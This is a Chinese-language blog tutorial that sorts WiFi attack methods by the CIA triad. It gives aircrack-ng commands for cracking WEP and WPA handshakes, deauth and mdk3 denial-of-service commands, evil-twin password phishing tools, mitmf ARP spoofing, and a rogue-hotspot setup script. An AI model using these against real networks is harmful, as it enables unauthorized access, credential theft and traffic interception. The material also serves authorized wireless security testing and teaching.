无线(仅WIFI)攻击思路总结
从事信息安全相关工作5年了,虽然主要工作是安全产品售前、安全服务等方向,但既然选择了安全,想必都是有点黑客情节的,因此也前前后后杂七杂八的学了点东西。最近在研究无线(主要是WIFI)安全,相关书籍看了几本、网上文章也读过几篇,基本上都是告诉我们怎么破解WEP、WPA等,怎么伪造AP,怎么钓鱼等等,感觉挺杂乱的。当我们面对一个无线系统或者一个WEB系统,我们究竟应该从哪些方面去攻击呢,换言之——攻击思路是什么?
记得刚毕业进入安全行业时,经常会碰到信息系统安全三要素CIA(完整性、保密性、可用性),或者五要素、六要素的,好枯燥呀,除了装装专业,貌似一点用处也没有,直到最近研究无线安全时,忽然意识到安全要素不就是攻击思路吗??!!其实无线攻击、WEB攻击的各种方法都可以从这些要素中找到方向。下面以无线攻击为例:
1.保密性
我们攻击WIFI的第一个思路就是从保密性出发,我们希望从无线系统中获取用户的明文数据。首先,我们知道WIFI的的认证加密主要有以下四种方式:OPEN(无加密)、WEP(RC4)、WPA(TKIP)、WPA2(CCMP)。
OPEN的WIFI没有采取认证加密措施,任意用户均可链接WIFI,用户数据在BSS(基本服务集)中明文传输,恶意用户没有任何门槛就可连接,然后通过中间人攻击即可获取用户的数据(SSL、SSH等需要其他工具)。如下图所示:
WEP、WPA、WPA2认证加密模式的WIFI需要破解获取密码,然后通过中间人或直接嗅探的方式获取用户明文数据。步骤就不详述了,WEP抓取IVS包,WPA/WPA2抓取handshake包。
WEP大概如下:
airodump-ng --ivs -w /workspace/sniff/airmon --bssid AP的MAC -c AP的chanle wlan1mon #捕获ivs数据包
aireplay-ng -3 -b 目标AP的MAC -h 某一个连接该AP的station的MAC wlan1mon #发送ARP包获取加速获取ivs
aircrack-ng /workspace/sniff/airmon02.ivs
WPA/WPA2大概如下:
airodump-ng -w /workspace/sniff/airmon-wpa2 --bssid 目标AP的MAC -c AP所在chanle wlan1mon #嗅探无线数据,抓取handshake包
aireplay-ng -0 5 -a 目标AP的MAC -c 某一连接AP的station的MAC wlan1mon #发送deauth包,更快的获取handshake
aircrack-ng -w 你的字典文件 /workspace/sniff/airmon-wpa2.cap #破解wpa2密码
密码破解成功后即可连接AP,通过中间人的方式获取用户明文数据,或者直接用wireshark抓取加密包,然后通过airdecap-ng工具解密,然后用wireshark读取已经解密的数据包。
破解WPA、WPA2不一定成功,取决于你字典是否强大,此时我们可以想办法诱骗用户主动输入WIFI密码,比如我们创建一个和目标AP具有同样ESSID的软AP,用户可以连接上,单在浏览网页时会弹出一个虚假的认证页面,告诉用户必须输入WIFI的密码,用户只要输入密码我们即可获取。可以利用fluxion、wifiphisher等工具实现。
wifiphisher将用户输入的密码当做WIFI的密码,但此密码并没有去验证,如果用户输入错误,也会提示出该密码。
而fluxion会将用户输入的密码与handshake校验,成功方认为获取到密码。
2.可用性
通过使目标用户无法使用WIFI来破坏无线系统的可用性,通常通过DOS攻击来实现,比如发送大量的deauth包来迫使用户station与AP解除认证、连接。
aireplay -0 100 -a 目标AP的MAC -c攻击的station的MAC wlan1mon #发送大量的deauth包,迫使目标station无法连接AP
mdk3 wlan1mon a -a 攻击AP的MAC #mdk3可以伪造大量的station与AP连接,从而耗尽AP的资源造成DOS攻击
3.真实性
(1)恶意用户进入无线系统后,可通过中间人攻击获取或修改用户数据。
ARP欺骗或DNS欺骗,ettercap工具非常方便。下面采用mitmf工具通过ARP欺骗将目标浏览网页中的所有图片上下颠倒。
mitmf -i wlan0 --spoof --arp --gateway 192.168.2.1 --target 192.168.2.1 --upsidedownternet
通过driftnet工具抓取目标浏览网页时的图片
driftnet -i wlan0
当然还可以利用中间人攻击做很多事情,比如获取cookie,嵌入js,结合beef进一步攻击等等。。。
(2)伪造AP进行钓鱼攻击
airbase -ng -e airmon wlan1mon #创建钓鱼热点
然后通过下面的脚本开启dhcp服务器(必须先安装isc-dhcp-server),开启路由,开启系统转发,开启防火墙nat等。
1 #!/bin/bash 2 3 echo '配置钓鱼热点...' 4 5 service isc-dhcp-server stop 6 rm /var/lib/dhcp/dhcpd.leases 7 touch /var/lib/dhcp/dhcpd.leases 8 9 ifconfig at0 up 10 ifconfig at0 10.0.0.1 netmask 255.255.255.0 11 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 12 sysctl net.ipv4.ip_forward=1 13 14 dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 15 echo '等待启动dhcp服务器...' 16 sleep 5 17 service isc-dhcp-server start 18 19 iptables -F 20 iptables -t nat -F 21 22 #iptables -P FORWARD ACCEPT 23 iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
此时用户可以不用密码即可连接airmon热点,并可以上网,但此时可以通过嗅探at0网卡获取用户数据。
4.完整性
篡改用户数据,在WIFI攻击这块貌似用处不大。
5.不可抵赖性
忽略。
部分内容还是不够准确,本文主要提供攻击思路,还有些内容待后续完善吧。。。